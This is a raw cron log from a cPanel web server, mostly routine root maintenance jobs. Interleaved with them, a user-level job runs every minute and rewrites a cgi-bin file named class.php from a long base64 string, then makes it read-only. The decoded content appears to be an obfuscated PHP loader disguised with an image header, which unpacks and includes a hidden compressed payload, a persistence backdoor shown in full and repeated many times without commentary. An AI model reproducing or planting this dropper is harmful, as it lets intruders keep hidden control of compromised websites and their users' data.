Sep  4 21:51:01 server CROND[3244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:51:01 server CROND[3246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:52:01 server CROND[3623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:52:01 server CROND[3624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:52:01 server CROND[3625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:53:01 server CROND[3994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:53:01 server CROND[3995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:53:01 server CROND[3996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:54:01 server CROND[4367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:54:01 server CROND[4368]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:54:01 server CROND[4369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:55:01 server CROND[4750]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 21:55:01 server CROND[4754]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:55:01 server CROND[4755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:55:01 server CROND[4764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:55:01 server CROND[4767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:55:01 server CROND[4763]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 21:55:01 server CROND[4762]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:56:01 server CROND[5602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:56:01 server CROND[5603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:56:01 server CROND[5605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:57:01 server CROND[6069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:57:01 server CROND[6070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:57:01 server CROND[6072]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 21:57:01 server CROND[6071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:58:01 server CROND[6435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:58:01 server CROND[6436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:58:01 server CROND[6437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:59:01 server CROND[6828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:59:01 server CROND[6827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:59:01 server CROND[6829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:00:01 server CROND[7268]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 22:00:01 server CROND[7271]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 22:00:01 server CROND[7280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:00:01 server CROND[7285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:00:01 server CROND[7282]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 22:00:01 server CROND[7284]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 22:00:01 server CROND[7286]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 22:00:01 server CROND[7287]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:00:01 server CROND[7283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:00:01 server CROND[7288]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 22:01:01 server CROND[8187]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:01:01 server CROND[8186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:01:01 server CROND[8189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:01:01 server CROND[8188]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 22:01:01 server run-parts(/etc/cron.hourly)[8188]: starting 0anacron
Sep  4 22:01:01 server run-parts(/etc/cron.hourly)[8212]: finished 0anacron
Sep  4 22:02:01 server CROND[8663]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:02:01 server CROND[8670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:02:01 server CROND[8671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:03:01 server CROND[9040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
